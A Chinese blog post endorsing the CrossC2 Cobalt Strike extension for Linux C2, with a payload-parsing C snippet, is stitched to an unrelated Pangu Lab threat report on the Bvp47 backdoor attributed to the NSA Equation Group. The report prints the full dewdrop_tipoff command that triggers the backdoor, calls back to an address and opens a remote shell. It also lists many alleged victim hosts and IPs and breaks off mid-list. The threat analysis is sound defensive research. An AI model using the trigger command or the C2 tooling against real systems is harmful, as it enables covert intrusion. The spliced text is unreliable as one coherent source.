CrossC2基本满足了我对linux C2的需求 最近用碎片时间学习和使用了一下CrossC2,可以看出是一线小伙伴结合实战经验写出来的实用性工 具。因此鼓励大家使用和反馈BUG给作者。 1. 什么是CrossC2 CrossC2是一款扩展CobaltStrike在Linux、Android、IOS等系统上使用的闭源免费工具,作者编写了较 为详细的使用文档,可以很快上手。详情请阅读:https://gloxec.github.io/CrossC2/zh_cn/ CobaltStrike: 暂时仅支持3.14最后一个版本(bug fixs), 以及4.x版本(详见cs4.1分支). Linux: 特别老旧的系统可以选择cna中的"Linux-GLIBC"选项(2010年左右) MacOS: 新系统仅支持64位程序 iOS: sandbox Embedded: only *nix ⍻ : 加载还在完善中 2. 注意事项 CrossC2可执行文件windows版本有BUG,请使用Linux版本和Mac版本。 一定要注意作者master分支支持的是CS3.14,由于大部分同学可能使用的是CS4.1,因此一定要切 换到CS4.1分支去下载CrossC2 经和作者确认CS4.1分支只有基础功能,其他类似frp等插件适配还需要继续开发,CS3.14功能是完 善的。 在c2profile配置中所有数据的编码只能使用base64,其他方式皆不可使用 在c2profile配置中,关于get和post的uri只能是用单个。 作者提供的插件包中,利用CS自带的文件浏览和进程浏览有点问题,需要修改jar适配 作者给的c2profile.c示例文件中缺少了查找字符串函数的实现 3.使用感受 我只使用了简单的功能和自定义流量,总体体验不错,满足我C2基本要求:命令、文件、隧道。 char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {   rawData = strstr(rawData, start) + strlen(start);   //*payload_len = xx; //返回找到的payload长度   *payload_len = strlen(rawData) - strlen(strstr(rawData, end));   //return payload; //返回找到的payload   char *payload = (char *)calloc(*payload_len ,sizeof(char));   memcpy(payload, rawData, *payload_len);   return payload; }
pdf
Bvp47 美国NSA方程式的顶级后门 技术细节 版本1.7 目录Contents 1. 摘要 2. 前所未见的后门 3. 后门程序概览 – Bvp47 4. 组织关联和溯源 “The Shadow Brokers Leaks”事件关联 非对称算法私钥匹配 样本深度关联 完整控制命令行 斯诺登事件关联 Bvp47—美国 NSA 方程式组织的顶级后门 文件结构 文件属性 文件结构 使用场景 4 4 4 6 1 2 4 8 8 9 9 12 13 15 5. 遍布全球的受害者 泄露出的受害者信息 利用受害主机作为跳板攻击目标 6. Bvp47后门技术详解 主要行为 Payload 字符串加解密 函数名混淆技巧 Bvp 引擎 系统 Hook 内核模块防检测 BPF 隐蔽信道 信道加密与解密 运行环境检测 其它技术特点 16 16 26 27 27 28 31 32 33 38 45 45 48 50 51 7. 总结 52 8. 参考资源 53 www.pangulab.cn 北京奇安盘古实验室科技有限公司 1. 摘要 2013年,盘古实验室研究员在针对某国内要害部门主机的调查过程中,提取了一个经过复杂加密 的Linux平台后门,其使用的基于SYN包的高级隐蔽信道行为和自身的代码混淆、系统隐藏、自毁设计 前所未见。在不能完全解密的情况下,进一步发现这个后门程序需要与主机绑定的校验码才能正常运 行,随后研究人员又破解了校验码,并成功运行了这个后门程序,从部分行为功能上断定这是一个顶 级APT后门程序,但是进一步调查需要攻击者的非对称加密私钥才能激活远控功能,至此研究人员的 调查受阻。基于样本中最常见的字符串“Bvp”和加密算法中使用数值0x47,命名为“Bvp47”。 2016年,知名黑客组织“影子经纪人”(The Shadow Brokers)宣称成功黑进了“方程式组 织”,并于2016年和2017年先后公布了大量“方程式组织”的黑客工具和数据。盘古实验室成员从 “影子经纪人”公布的文件中,发现了一组疑似包含私钥的文件,恰好正是唯一可以激活Bvp47顶级 后门的非对称加密私钥,可直接远程激活并控制Bvp47顶级后门。可以断定,Bvp47是属于“方程式 组织”的黑客工具。研究人员通过进一步研究发现,“影子经纪人”公开的多个程序和攻击操作手 册,与2013年前美国中情局分析师斯诺登在“棱镜门”事件中曝光的NSA网络攻击平台操作手册[参考 3、4]中所使用的唯一标识符完全吻合。鉴于美国政府以“未经允许传播国家防务信息和有意传播机密 情报”等三项罪名起诉斯诺登,可以认定“影子经纪人”公布的文件确属NSA无疑,这可以充分证 明,方程式组织隶属于NSA,即Bvp47是NSA的顶级后门。“影子经济人”的文档揭示受害范围超过 45个国家287个目标,包括俄罗斯、日本、西班牙、德国、意大利等,持续十几年时间,某日本受害 者被利用作为跳板对目标发起攻击。 盘古实验室为多起Bvp47同源样本事件起了一个代号“电幕行动”。电幕(Telescreen)是英国 作家乔治·奥威尔在小说《1984》中想象的一个设备,可以用来远程监控部署了电幕的人或组织,“思 想警察”可以任意监视任意电幕的信息和行为。 方程式组织是世界超一流的网络攻击组织,普遍认为隶属于美国国家安全局NSA。从所获取的包 括Bvp47在内的相关攻击工具平台来看,方程式组织确实堪称技术一流,工具平台设计良好、功能强 大、广泛适配,底层以0day漏洞体现的网络攻击能力在当时的互联网上可以说畅通无阻,获取被隐秘 控制下的数据如探囊取物,在国家级的网空对抗中处于主导地位。 1 www.pangulab.cn 北京奇安盘古实验室科技有限公司 2. 前所未见的后门 2015年某月,某客户部署的高级威胁检测系统提示特殊网络入侵告警,且重要服务器之间存在可 疑的通信活动,事件响应过程中在网络中的几个节点位置抓包并获取了服务器的磁盘镜像。经过初步 分析,系统网络中至少两台服务器已经被入侵并被植入了后门,而且存在比较大量地数据外泄迹象。 事件调查涉及3台服务器,1台为外部攻击来源的主机A,另外2台内部受影响服务器V1(邮件服务 器)和V2(某业务服务器)。外部主机A与V1服务器存在非正常的通信。具体表现在A先向V1服务器 的80端口发送一个带有264字节Payload的SYN包(正常的SYN包一般不带Payload),之后V1服务器 立即向A机器的高端端口发起对外连接并保持交换大量数据,数据通信是加密的。 与此几乎同时,V1服务器连接V2服务器的SMB服务并执行一些敏感操作,包括使用管理员账号登 录到V2服务器、尝试打开终端服务、枚举目录、通过计划任务执行Powershell脚本等。 同时发生的还有,V2服务器连接V1服务器的8081端口下载可疑文件,包含了Powershell脚本及 第二阶段的加密数据。 V1服务器的8081端口上启动了一个Python实现的简易HTTP服务器,V2服务器从上面获取了两个 文件:index.html及index.htm。其中,index.html为一个经过Base64编码的Powershell脚本,此脚 本在服务器上获得执行以后会继续从V1服务器上下载一个名为index.htm的文件,内容Base64编码过 的数据,但解码以后发现是不可读的字串,通过对执行下载index.htm的Powershell脚本的分析证明 这是一段通过非对称加密的数据。 接下来,V2服务器连接V1服务器的高端端口,以一种自有协议进行通信,大量交互的传输数据是 加密的。 2 www.pangulab.cn 北京奇安盘古实验室科技有限公司 基于以上的观察从以上的分析可以推论V1/V2服务器都已被植入了后门,整合A机器、V1/V2服务 器的整体交互情况,我们可以对机器之间的通信过程有如下的还原: A机器连接V1服务器的80端口发送敲门请求,启动V1服务器上的后门程序; V1服务器反向连接A机器高端端口建立数据通路; V2服务器连接V1服务器上开启的后门Web服务,从V1服务器获取PowerShell执行; V1服务器连接V2服务器的SMB服务端口进行命令操作; V2服务器在高端端口与V1服务器建立连接采用自有加密协议进行数据交互; V1服务器同步与A机器进行数据交互,V1服务器充当A机器与V2服务器之间的数据中转; 这是之前从来没有见过的后门通信技术,暗示背后一个强大技术能力的组织。 3 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的基本文件结构包括 loader 和 payload 两部分,loader 主要负责 payload 的解密和内存加 载,payload 是经过压缩,加密处理的,18个分片被简单的分成三大类型T0、T1、T2,命名为 Slice0x00-Slice0x11: - T0{Slice0x00} - T1{Slice0x01-Slice0x10} - T2{Slice0x11} 经过解压分析后,Bvp47 的 18 个分片大小如下: 3. 后门程序概览 – Bvp47 经过一番努力,取证团队成功地在受入侵的机器上提取了后门文件,发现在样本文件中比较常见 字符串“Bvp”以及在加密算法中使用数值0x47,暂将样本文件命名为“Bvp47”。 文件结构 文件属性 文件结构 文件名 Hash(MD5) 大小 文件路径 平台 initserial 或其它 58b6696496450f254b1423ea018716dc 299,148 字节 /usr/bin/modload Linux ELF Payload 4 www.pangulab.cn 北京奇安盘古实验室科技有限公司 根据每个分片所使用的 Bvp 引擎接口调用个数(Bvp 引擎介绍见文中其它章节)和导出函数个数对 18 个分片作了整理,具体如下(红色部分为需重点关注模块): 序号 主要功能 Bvp引用个数 导出函数 备注 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x0A 0x0B 0x0C 0x0D 0x0E 0x0F 0x10 0x11 190 490 5 14 3 16 152 264 17 3 14 0 0 0 0 94 0 0 192 8 9 2 3 10 10 3 8 0 0 0 15 0 17 0 1 个 init 函数 module_main module_main module_main 检测运行环境 非代码模块,Bvp 偏移数据库 Dewdrops SectionChar_Agent 非代码模块,Bvp 偏移数据库 PATh=. crond 5 www.pangulab.cn 北京奇安盘古实验室科技有限公司 团队在自己搭建的环境中重现了Bvp47后门的运用,大致理清了其使用场景和基本通信机制。 Bvp47作为入侵成功后长期控制被害者的重要后门平台,一般存活在和互联网通信的非军事区的 Linux 操作系统中,在整体攻击中主要承担核心的控制桥梁通信作用,如下图所示: 攻击者(敲门SYN包) 互联网(例如:443) TCP 纵深渗透 路由器、防火墙 网关 内部服务器 DMZ Email服务器等 Hacker 使用场景 在分析后,还原了实际的网络攻击数据包流程。 6 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 利用常见的网络检测设备一般不会对 TCP 握手期间的数据包做检测的弱点,使用在第一个 SYN 包中夹带数据的方式来躲避网络安全设备的检测。 在本文后面环节的分析中,Bvp47 的隐蔽通信体系是一个从密码学,网络,Linux 操作系统等多个 层面上构建出来的高级攻击体系,可以称它为高级版的“SYNKnock”(之前的Cisco只有简单校验)。 【步骤 1】 提到的 SYN 包中的 payload 数据如下: 【步骤 3】 受害 IP 在 TCP 握手成功后发包内容如下: 1. 一旦控制端(192.168.91.131)发送一次带一定长度的特定 payload(长度 136 字节)的 TCP 协 议SYN 包给“受害 IP”(192.168.91.128)的1357 端口(可直接复用存活端口); 2.“受害 IP”(192.168.91.128)接收到该特殊 SYN 包后立即按照指令执行连接操作到“控制端”的 2468 端口; 3.“受害 IP”(192.168.91.128)进入被控制流程 ; Bvp47 和控制端的隐蔽通信场景,流程如下: 7 www.pangulab.cn 北京奇安盘古实验室科技有限公司 2016年,名为The Shadow Broker(影子经纪人)的黑客组织公布了eqgrp-free-file.tar.xz.gpg, eqgrp-auction-file.tar.xz.gpg两个压缩文件,声称攻陷了美国NSA的方程式组织,压缩文件重包含了 方程式组织的大量黑客工具。其中eqgrp-free-file.tar.xz.gpg压缩文件提供公开下载以供查验,另一份 以时价100万枚比特币出售eqgrp-auction-file.tar.xz.gpg文件的解压密码,但有价无市,选择于2017 年4月公布了eqgrp-auction-file.tar.xz.gpg解压密码。 在针对eqgrp-auction-file.tar.xz.gpg文件分析过程中,发现 Bvp47和压缩包中的攻击工具有技术 确定性的关联,主要包括 dewdrops,sutionchar_agents, tipoffs,StoicSurgeon,insision 等目 录,其中文件dewdrops_tipoffs中包含了Bvp47进行RSA公私钥通信所需的私钥,在此基础上可以确 认 Bvp47 是出自“方程式组织”之手。 其中 dewdrops,sutionchar_agents 是被作为组成功能集成在 Bvp47 样本平台中,tipoffs 目录 则是 Bvp47 远程通信的控制端。 4. 组织关联和溯源 “The Shadow Brokers Leaks”事件关联 8 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在 tipoffs 目录下包含了 Bvp47 隐蔽信道环节中的RSA非对称算法私钥,只有在拥有该RSA私钥的 基础上才能真正触发 Bvp47 的命令执行等操作。 非对称算法私钥匹配 在eqgrp-auction-file.tar.xz.gpg文件\Linux\doc\old\etc\目录下的user.tool.stoicsur- geon.COMMON文件,描述了tipoff-BIN工具使用方法,同时也透露出了一系列的信息: 1. Bvp47后门中包含的Dewdrop模块,是可以直接被tipoff通过非对称密钥触发的; 2. COMMON文件中的后门“StoicSurgeon”,即坚忍的外科医生,多平台的高级rootkit后门, 可以和Dewdrop模块搭配使用; 3. “StoicSurgeon”还有个小兄弟,“Incision”,即切口,亦是rootkit后门; 4. 入侵过程中,”Incision”可以升级为”StoicSurgeon”; 样本深度关联 9 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Dewdrop支持的操作系统基本全面覆盖了主流的Linux发行版、JunOS、FreeBSD、Solaris等。 StoicSurgeon支持的操作系统基本全面覆盖了主流的Linux发行版、JunOS、FreeBSD、Solaris 等。 10 www.pangulab.cn 北京奇安盘古实验室科技有限公司 文件“user.tool.linux.remove_install_ss.COMMON”中提供了如何从Incision到Stoicsurgeon 的升级方法。 11 www.pangulab.cn 北京奇安盘古实验室科技有限公司 完整控制命令行 通过以下命令行操作可以直接远程控制 Bvp47 后门进行反弹回连操作: 其中,ish对应在\eqgrp-auction-file\Linux\bin目录下的文件ish,结合其泄露的ish工具成功激 活了后门Bvp47,完成远程下载执行功能,开启远程shell。 #./tipoffs/dewdrop_tipoff --trigger-address 11.22.33.44 --target-address 12.34.56.78 --target-protocol tcp --target-port 1357 --callback-address 13.24.57.68 --callback-port 2468 --start-ish 12 www.pangulab.cn 北京奇安盘古实验室科技有限公司 2013年12月,德国媒体《明镜》发布了一份NSA ANT catalog,共50张图片,这是一系列NSA 于2008-2009编写的绝密资料,包括了一系列高级黑客工具的使用,信息来自于当年“爆料”的爱德 华斯诺登或第二个未知的情报提供者[参考3]。 NSA ANT catalog中的FOXACID-Server-SOP-Redacted.pdf文件[参考4],即”酸狐狸”计划— 服务器标准作业流程修订版,NSA漏洞攻击作业平台功能描述和使用手册,在这份标准作业文件中描 述了作业所需强制性的唯一标识代码,"ace02468bdf13579"。 斯诺登事件关联 此外,还有别的命令可以远程执行指定程序: 13 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在The Shadow Brokers泄露的eqgrp-free-file.tar.xz.gpg压缩文中,\eqgrp-free-file\Firewall\- BANANAGLEE\BG3000\Install\LP\Modules\PIX\目录下的SecondDate-3021.exe可执行文件,亦 存在"ace02468bdf13579"唯一标识代码,且文件名SecondDate符合标准作业文档描述。 如果说SecondDate-3021.exe只是一个巧合。泄露的工具集中与代号为SecondDate工具相关的 47个文件中,中都出现了"ace02468bdf13579"这一字符串,这显然就不是什么巧合可以解释的了吧。 且在一个名为\eqgrp-free-file\Firewall\SCRIPTS\目录下的SecondDate文件,描述了SecenData 的使用方法,与之前提到FOXACID-Server-SOP-Redacted.pdf描述一致。 14 www.pangulab.cn 北京奇安盘古实验室科技有限公司 而且在“EquationGroup-master\Linux\etc”目录下的opscript.txt中也明确了STOICSURGEON 与SECONDDATE程序的关系: 因此,有足够理由认为2016、2017年The Shadow Brokers泄露的两个压缩文件属于NSA方程式 组织的黑客攻击工具。 1. NSA ANT catalog的材料FOXACID-Server-SOP-Redacted.pdf中所提到的黑客工具中的唯一特征 标识符” ace02468bdf13579”在”The Shadow Brokers Leaks”的工具集中多次出现; 2. Bvp47后门程序的RSA私钥存在于” The Shadow Brokers Leaks”的工具tipoff-BIN中; 3. 使用” The Shadow Brokers Leaks”的工具tipoff-BIN可以直接激活后门程序Bvp47的Dewdrops 模块的隐蔽信道,Dewdrops和STOICSURGEON等工具同属于一个后门系列; 4. 最终确定Bvp47后门是由” The Shadow Brokers Leaks”工具模块拼装成的,即Bvp47属于美国 NSA下的“方程式”组织的顶级后门; Bvp47—美国NSA方程式组织的顶级后门 15 www.pangulab.cn 北京奇安盘古实验室科技有限公司 泄露出的受害者信息 5. 遍布全球的受害者 在eqgrp-auction-file.tar.xz.gpg文件\Linux\bin\varkeys\pitchimpair\目录下提供了提供了一份 潜在的Dewdrops、StoicSurgeon和Incision后门受害者列表,受害者遍布全球,也包括部分中国地区 的要害单位,且实际受影响目标不止于此: 域名 IP 国家 详细信息 sonatns.sonatrach.dz enterprise.telesat.com.co voyager1.telesat.com.co metcoc5cm.clarent.com iti-idsc.net.eg mbox.com.eg pksweb.austria.eu.net opserver01.iti.net.pk sussi.cressoft.com.pk ns1.multi.net.pk mpkhi-bk.multi.net.pk tx.micro.net.pk 193.194.75.35 66.128.32.67 66.128.32.68 213.132.50.10 163.121.12.2 213.212.208.10 193.154.165.79 202.125.138.184 202.125.140.194 202.141.224.34 202.141.224.40 203.135.2.194 阿尔及利亚 阿根廷 阿根廷 阿联酋 埃及 埃及 奥地利 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 阿尔及利亚 北美地区 北美地区 阿联酋DU电信 埃及 埃及 奥地利 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 16 www.pangulab.cn 北京奇安盘古实验室科技有限公司 pop.net21pk.com connection1.connection.com.br connection2.connection.com.br vnet3.vub.ac.be debby.vub.ac.be theta.uoks.uj.edu.pl rabbit.uj.edu.pl okapi.ict.pwr.wroc.pl ids2.int.ids.pl most.cob.net.ba webnetra.entelnet.bo ns1.btc.bw 203.135.45.66 200.160.208.4 200.160.208.8 134.184.15.13 134.184.15.79 149.156.89.30 149.156.89.33 156.17.42.30 195.117.3.32 195.222.48.5 166.114.10.28 168.167.168.34 巴基斯坦 巴西 巴西 比利时 比利时 波兰 波兰 波兰 波兰 波斯尼亚 玻利维亚 博茨瓦纳 巴基斯坦 巴西圣保罗 巴西圣保罗 比利时布鲁塞尔自由大学 比利时布鲁塞尔自由大学 波兰academic centre in Southern Poland 波兰academic centre in Southern Poland 波兰教育网 波兰 波斯尼亚和黑塞哥维那 玻利维亚 博茨瓦纳 mailhost.fh-muenchen.de sunbath.rrze.uni--erlangen.de niveau.math.uni-bremen.de s03.informatik.uni-bremin.de kalliope.rz.unibw--muenchen.de kommsrv.rz.unibw-muenchen.de servercip92.e-technik.uni-rostock.de paula.e-technik.uni-rostock.de pastow.e-technik.uni-rostock.de xilinx.e-technik.uni-rostock.de asic.e-technik.uni-rostock.de jupiter.mni.fh.giessen.de 129.187.244.204 131.188.3.200 134.102.124.201 134.102.201.53 137.193.10.12 137.193.10.8 139.30.200.132 139.30.200.225 139.30.200.36 139.30.202.12 139.30.202.8 212.201.7.17 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国巴伐利亚州慕尼黑市 Leibniz Rechenzentrum公司 德国埃尔朗根-纽伦堡大学 德国不来梅大学 德国不来梅大学 德国慕尼黑联邦国防军大学 德国慕尼黑联邦国防军大学 德国 德国 德国 德国 德国 德国吉森-弗里德贝格应用技术大学 saturn.mni.fh-giessen.de n02.unternehmen.com no1.unternehemen.com no3.unternehmen.org unk.vver.kiae.rr sunhe.jinr.ru mail.ioc.ac.ru www.nursat.kz kserv.krldysh.ru ns2.rosprint.ru gate.technopolis.kirov.ru jur.unn.ac.ru 212.201.7.21 62.116.144.147 62.116.144.150 62.116.144.190 144.206.175.2 159.93.18.100 193.233.3.6 194.226.128.26 194.226.57.53 194.84.23.125 217.9.148.61 62.76.114.22 德国 德国 德国 德国 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 德国吉森-弗里德贝格应用技术大学 德国巴伐利亚州慕尼黑InterNetX公司 德国巴伐利亚州慕尼黑InterNetX公司 德国巴伐利亚州慕尼黑InterNetX公司 俄罗斯Kurchatov原子能研究所 俄罗斯dubna university 俄罗斯 俄罗斯 俄罗斯 俄罗斯 俄罗斯 俄罗斯 17 www.pangulab.cn 北京奇安盘古实验室科技有限公司 ns1.bttc.ru spirit.das2.ru m0-s.san.ru tayuman.info.com.ph ns2-backup.tpo.fi mail.tpo.fi ns.youngdong.ac.kr ns1.youngdong.ac.kr ns.kix.ne.kr ns.khmc.or.kr ns.hanseo.ac.kr mail.hanseo.ac.kr e3000.hallym.ac.kr win.hallym.ac.kr mail.hallym.ac.kr dcproxy1.thrunet.com mail.mae.co.kr ns2.ans.co.kr ns.eyes.co.kr ftp.hyunwoo.co.kr jumi.hyunwoo.co.kr mail.utc21.co.kr doors.co.kr orange.npix.net 210.115.225.16 210.115.225.17 210.115.225.25 210.117.65.44 210.118.179.1 210.126.104.74 210.98.224.88 211.232.97.195 211.232.97.217 211.40.103.194 211.43.193.9 211.43.194.48 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国青州 韩国 韩国 韩国 韩国LG DACOM 韩国 韩国 80.82.162.118 81.94.47.83 88.147.128.28 203.172.11.21 193.185.60.40 193.185.60.42 202.30.58.1 202.30.58.5 202.30.94.10 203.231.128.1 203.234.72.1 203.234.72.4 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 菲律宾 芬兰 芬兰 韩国 韩国 韩国 韩国 韩国 韩国 俄罗斯 俄罗斯 俄罗斯 菲律宾 芬兰 芬兰 韩国 韩国 韩国National Infomation Society Agency 韩国KYUNG-HEE UNIVERSITY 韩国KT电信 韩国KT电信 sky.kies.co.kr smuc.smuc.ac.kr ns.anseo.dankook.ac.kr myhome.elim.net ns.kimm.re.kr mail.howon.ac.kr ns.hufs.ac.kr san.hufs.ac.kr ns.icu.ac.kr winner.hallym.ac.kr ns.hallym.ac.kr winners.yonsei.ac.kr 203.236.114.1 203.237.176.1 203.237.216.2 203.239.130.7 203.241.84.10 203.246.64.14 203.253.64.1 203.253.64.2 210.107.128.31 210.115.225.10 210.115.225.11 210.115.225.14 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国教育网 韩国教育网 韩国 韩国KOREA INSTITUTE OF MACHINERY & MATERIALS 韩国教育网 韩国Hankuk University of Foreign Studies 韩国Hankuk University of Foreign Studies 韩国世宗大学 韩国 韩国 韩国 18 www.pangulab.cn 北京奇安盘古实验室科技有限公司 seoildsp.co.kr logos.uba.uva.nl opcwdns.opcw.nl nl37.yourname.nl ns.gabontelecom.com itellin1.eafix.net ns1.starnets.ro ns2.chem.tohoku.ac.jp ns.global-one.dk eol1.egyptonline.com rayo.pereira.multi.net.co mn.mn.co.cu smtp.bangla.net ns1.bangla.net mail.bangla.net dns2.unam.mx dns1.unam.mx ns.unam.mx sedesol.sedesol.gob.mx www.pue.uia.mx docs.ccs.net.mx info.ccs.net.mx segob.gob.mx mercurio.rtn.net.mx mercurio.rtn.net.mx ciidet.rtn.net.mx tuapewa.polytechnic.edu.na sunfirev250.cancilleria.gob.ni ccmman.rz.unibw--muenchen.de unknown.unknown www21.counsellor.gov.cn mbi3.kuicr.kyoto-u.ac.jp cs-serv02.meiji.ac.jp icrsun.kuicr.kyoto-u.ac.jp icrsun.kuicr.kyoto-u.ac.jp sunl.scl.kyoto-u.ac.jp 218.36.28.250 145.18.84.96 195.193.177.150 82.192.68.37 217.77.71.52 212.49.95.133 193.226.61.68 130.134.115.132 194.234.33.5 206.48.31.2 206.49.164.2 216.72.24.114 203.188.252.10 203.188.252.2 203.188.252.3 132.248.10.2 132.248.204.1 132.248.253.1 148.233.6.164 192.100.196.7 200.36.53.150 200.36.53.160 200.38.166.2 204.153.24.1 204.153.24.14 204.153.24.32 196.31.225.2 165.98.181.5 137.93.10.6 125.10.31.145 130.34.115.132 133.103.101.21 133.26.135.224 133.3.5.2 133.3.5.20 133.3.5.30 韩国 荷兰 荷兰 荷兰 加蓬 肯尼亚 罗马尼亚 美国 美国 美国 美国 美国 孟加拉 孟加拉 孟加拉 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 南非 尼加拉瓜 挪威 日本 日本 日本 日本 日本 日本 日本 韩国 荷兰 荷兰 荷兰阿姆斯特丹LeaseWeb IDC 加蓬 肯尼亚 罗马尼亚 美国 美国 美国 美国 孟加拉 孟加拉 孟加拉 墨西哥国立自治大学 墨西哥国立自治大学 墨西哥国立自治大学 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 纳米比亚 尼加拉瓜国立工程大学 挪威 日本ATHOME网络 日本东北大学 日本 日本明治大学 日本京都大学 日本京都大学 日本京都大学 19 www.pangulab.cn 北京奇安盘古实验室科技有限公司 uji.kyoyo-u.ac.jp ci970000.sut.ac.jp ns.bur.hiroshima-u.ac.jp fl.sun-ip.or.jp son-goki.sun-ip.or.jp nodep.sun-ip.or.jp hk.sun-ip.or.jp ns1.sun-ip.or.jp proxy1.tcn.ed.jp photon.sci-museum.kita.osaka.jp noc35.corp.home.ad.jp noc37.corp.home.ad.jp noc38.corp.home.ad.jp noc33.corp.home.ad.jp noc21.corp.home.ad.jp noc23.corp.home.ad.jp noc25.corp.home.ad.jp noc26.corp.home.ad.jp www2.din.or.jp www3.din.or.jp mail-gw.jbic.go.jp mail.interq.or.jp www.cfd.or.jp hakuba.janis.or.jp mx1.freemail.ne.jp pitepalt.stacken.kth.se snacks.stacken.kth.se ns.stacken.kth.se milko.stacken.kth.se xn--selma-lagerlf-tmb.stacken.kth.se xn--anna-ahlstrm-fjb.stacken.kth.se www.bygden.nu geosun1.unige.ch scsun25.unige.ch cmusun8.unige.ch dns2.net1.it 133.3.5.33 133.31.106.46 133.41.145.11 150.27.1.10 150.27.1.11 150.27.1.2 150.27.1.5 150.27.1.8 202.231.176.242 202.243.222.7 203.165.5.114 203.165.5.117 203.165.5.118 203.165.5.74 203.165.5.78 203.165.5.80 203.165.5.82 203.165.5.83 210.135.90.7 210.135.90.8 210.155.61.54 210.157.0.87 210.198.16.75 210.232.42.3 210.235.164.21 130.237.234.151 130.237.234.152 130.237.234.17 130.237.234.3 130.237.234.51 130.237.234.53 192.176.10.178 129.194.41.4 129.194.49.47 129.194.97.8 213.140.195.7 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞士 瑞士 瑞士 塞浦路斯 日本京都大学 日本东京理科大学 日本 日本 日本 日本 日本 日本 日本SINET 日本东京威力科创 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本东京市KDDI通信公司 日本GMO 日本 日本KDDI 日本KDDI 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞典 瑞士日内瓦大学 瑞士日内瓦大学 瑞士日内瓦大学 塞浦路斯 20 www.pangulab.cn 北京奇安盘古实验室科技有限公司 sparc.nour.net.sa 212.12.160.26 沙特阿拉伯 沙特阿拉伯 沙特阿拉伯 沙特阿拉伯 212.138.48.8 212.26.44.132 212.70.32.100 mail.imamu.edu.sa kacstserv.kacst.edu.sa mail.jccs.com.sa 沙特阿拉伯Nour Communication Co.Ltd-Nournet 沙特阿拉伯King Abdul Aziz City for Science and Technology 沙特阿拉伯King Abdul Aziz City for Science and Technology 沙特阿拉伯Jeraisy For Internet Services Co.Ltd sci.s-t.au.ac.th webmail.s-t.au.ac.th mail.howon.ac.kr nsce1.ji-net.com war.rkts.com.tr orion.platino.gov.ve ltv.com.ve msgstore2.pldtprv.net splash-atm.upc.es servidor2.upc.es dukas.upc.es moneo.upc.es sun.bq.ub.es oiz.sarenet.es anie.sarenet.es orhi.sarenet.es iconoce1.sarenet.es tologorri.grupocorreo.es zanburu.grupocorreo.es ganeran.sarenet.es colpisaweb.sarenet.es burgoa.sarenet.es mtrader2.grupocorreo.es mailgw.idom.es 168.120.9.1 168.120.9.2 203.146.64.14 203.147.62.229 195.142.144.125 161.196.215.67 200.75.112.26 192.168.120.3 147.83.2.116 147.83.2.3 147.83.2.62 147.83.2.91 161.116.154.1 192.148.167.17 192.148.167.2 192.148.167.5 194.30.0.16 194.30.32.109 194.30.32.113 194.30.32.177 194.30.32.229 194.30.32.242 194.30.32.29 194.30.33.29 泰国 泰国 泰国 泰国 土耳其 委内瑞拉 委内瑞拉 内部网 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 泰国易三仓大学 泰国易三仓大学 泰国 泰国 土耳其 委内瑞拉 委内瑞拉 内部网 西班牙加泰罗尼亚理工大学 西班牙加泰罗尼亚理工大学 西班牙加泰罗尼亚理工大学 西班牙加泰罗尼亚理工大学 西班牙巴塞罗那大学 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 西班牙 ns2.otenet.gr electra.otenet.gr dragon.unideb.hu laleh.itrc.ac.ir. mailhub.minaffet.gov.rw mail.irtemp.na.cnr.it mail.univaq.it 195.170.2.1 195.170.2.3 193.6.138.65 80.191.2.2 62.56.174.152 140.164.20.20 192.150.195.10 希腊 希腊 匈牙利 伊朗 以色列 意大利 意大利 希腊 希腊 匈牙利 伊朗 意大利国家研究委员会 意大利 21 www.pangulab.cn 北京奇安盘古实验室科技有限公司 ns.univaq.it matematica.univaq.it sparc20mc.ing.unirc.it giada.ing.unirc.it mailer.ing.unirc.it mailer.ing.unirc.it 192.167.50.12 192.167.50.14 192.167.50.2 192.167.50.202 意大利 意大利 意大利 意大利 192.150.195.20 192.150.195.38 意大利 意大利 意大利 意大利 bambero1.cs.tin.it gambero3.cs..tin.it mail.bhu.ac.in mtccsun.imtech.ernet.in axil.eureka.lk mu-me01-ns-ctm001.vsnl.net.in vsn1radius1.vsn1.net.in vsnl-navis.emc-sec.vsnl.net.in ns1.ias.ac.in mail.tropmet.res.in mail1.imtech.res.in nd11mx1-a-fixed.sancharnet.in 194.243.154.57 194.243.154.62 202.141.107.15 202.141.121.198 202.21.32.1 202.54.4.39 202.54.4.61 202.54.49.70 203.197.183.66 203.199.143.2 203.90.127.22 61.0.0.46 意大利 意大利 印度 印度 印度 印度 印度 印度 印度 印度 印度 印度 意大利 意大利 印度Banaras Hindu University 印度教育网 印度 印度 印度 印度 印度 印度 印度 ndl1pp1-a-fixed.sancharnet.in bgl1dr1-a-fixed.sancharnet.in bgl1pp1-a-fixed.sancharnet.in mum1mr1-a-fixed.sancharnet.in www.caramail.com newin.int.rtbf.be m16.kazibao.net webshared-admin.colt.net 